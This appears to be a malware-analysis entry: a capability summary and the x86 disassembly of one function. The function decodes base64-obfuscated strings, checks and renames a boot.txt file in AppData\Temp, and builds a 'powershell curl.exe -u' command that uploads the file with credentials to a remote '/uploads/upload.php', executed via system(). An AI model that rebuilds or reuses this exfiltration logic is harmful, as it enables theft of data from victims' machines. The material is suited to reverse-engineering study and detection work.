Function at 0x402833
Capabilities:
Contain obfuscated stackstrings
Delete file
Execute command
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x608
lea eax, [ebp - 0x1ac]
mov dword [esp + 4], eax
mov dword [esp], str.d2luX2Y2NF96emdjd2FsbGV0LmJhdA
call sym._base64_decode
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1b0]
mov dword [esp + 4], eax
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxUZW1w
call sym._base64_decode
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1b4]
mov dword [esp + 4], eax
mov dword [esp], 0x425020
call sym._base64_decode
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x44c540
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x42912c
lea eax, [ebp - 0x1a8]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x429350
lea eax, [ebp - 0x1a8]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0
cmp dword [ebp - 0x24], 0
je 0x4028ee
lea eax, [ebp - 0x1a8]
mov dword [esp], eax
call sym._remove
mov dword [esp + 0x10], str.QXBwRGF0YVxMb2NhbFxUZW1w
mov dword [esp + 0xc], 0x44c540
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_s_boot.txt
lea eax, [ebp - 0x27c]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 4], 0x429350
lea eax, [ebp - 0x27c]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x402944
mov eax, 1
jmp 0x402d72
mov dword [ebp - 0x318], 0x4293f8
mov eax, dword [ebp - 0x318]
mov dword [esp], eax
call sym._strlen
mov ecx, eax
mov eax, 4
mov edx, 0
div ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xc], 0
jmp 0x4029b9
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x318]
mov dword [esp], eax
call sym._ping_1
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
jne 0x4029b5
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x318]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x429406
lea eax, [ebp - 0x312]
mov dword [esp], eax
call sym._sprintf
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0xc]
jae 0x402976
mov dword [esp + 4], 0x429409
lea eax, [ebp - 0x312]
mov dword [esp], eax
call sym._get_http_headers
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x4029ea
mov eax, 1
jmp 0x402d72
mov dword [ebp - 0x322], 0x6f6d6962
mov dword [ebp - 0x31e], 0x6c68746e
mov word [ebp - 0x31a], 0x79
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
lea eax, [ebp - 0x322]
mov dword [esp], eax
call sym._get_current_ip
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x402a2f
mov eax, 1
jmp 0x402d72
lea eax, [ebp - 0x328]
mov dword [esp + 4], eax
mov dword [esp], str.Y2EyMnVwZGF0ZS5tZA
call sym._base64_decode
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x32c]
mov dword [esp + 4], eax
mov dword [esp], str.QXBwRGF0YVxMb2NhbFxQYWNrYWdlc1xNaWNyb3NvZnQuV2luZG93cy5RdWlja3N0YXJ0X24xeWVjdzV3eWgydHg
call sym._base64_decode
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x44c460
mov eax, dword [ebp - 0x38]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
mov dword [esp], 0x44c540
call sym._check_curl
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x402aa6
mov dword [esp], 0x4291db
call sym._puts
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
mov dword [esp], 0x42940b
call sym._run_keygen
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jne 0x402acc
mov eax, 1
jmp 0x402d72
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._base64_encode
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jne 0x402aff
mov eax, 1
jmp 0x402d72
mov dword [ebp - 0x10], 0
jmp 0x402b24
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x10]
add eax, edx
movzx eax, byte [eax]
lea ecx, [ebp - 0x34a]
mov edx, dword [ebp - 0x10]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0x10], 1
cmp dword [ebp - 0x10], 6
jbe 0x402b08
mov byte [ebp - 0x343], 0
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._SHA256
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jne 0x402b4f
mov eax, 1
jmp 0x402d72
mov dword [ebp - 0x14], 0
jmp 0x402b74
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x14]
add eax, edx
movzx eax, byte [eax]
lea ecx, [ebp - 0x368]
mov edx, dword [ebp - 0x14]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 6
jbe 0x402b58
mov byte [ebp - 0x361], 0
mov eax, dword [ebp - 0x50]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._ping_1
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
je 0x402bab
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call sym._exit
call sym._get_uid
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jne 0x402bc3
mov eax, 1
jmp 0x402d72
mov eax, dword [ebp - 0x58]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], str.QXBwRGF0YVxMb2NhbFxUZW1w
mov dword [esp + 0xc], 0x44c540
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_s_s_boot.txt
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x430]
mov dword [esp + 4], eax
lea eax, [ebp - 0x27c]
mov dword [esp], eax
call sym._rename
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
je 0x402c24
mov dword [esp], 0x429125
call sym._puts
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x44c540
mov eax, dword [ebp - 0x20]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_scurl.exe
lea eax, [ebp - 0x4f8]
mov dword [esp], eax
call sym._sprintf
mov dword [ebp - 0x60], str.cG93ZXJzaGVsbCBjdXJsLmV4ZSAtdQ
lea eax, [ebp - 0x5c4]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x68], str.aHR0cHM6Ly8
lea eax, [ebp - 0x5c8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x68]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x70], str.L3VwbG9hZHMvdXBsb2FkLnBocA
lea eax, [ebp - 0x5cc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x70]
mov dword [esp], eax
call sym._base64_decode
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
mov dword [esp + 0x20], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x1c], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x430]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x368]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x34a]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x64]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s:_s__F__file__s___s_s_s
lea eax, [ebp - 0x5c0]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x5c0]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x402d4a
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym._remove
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._free
mov eax, 0
jmp 0x402d72
lea eax, [ebp - 0x27c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x430]
mov dword [esp], eax
call sym._rename
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sym._free
mov eax, 1
leave
ret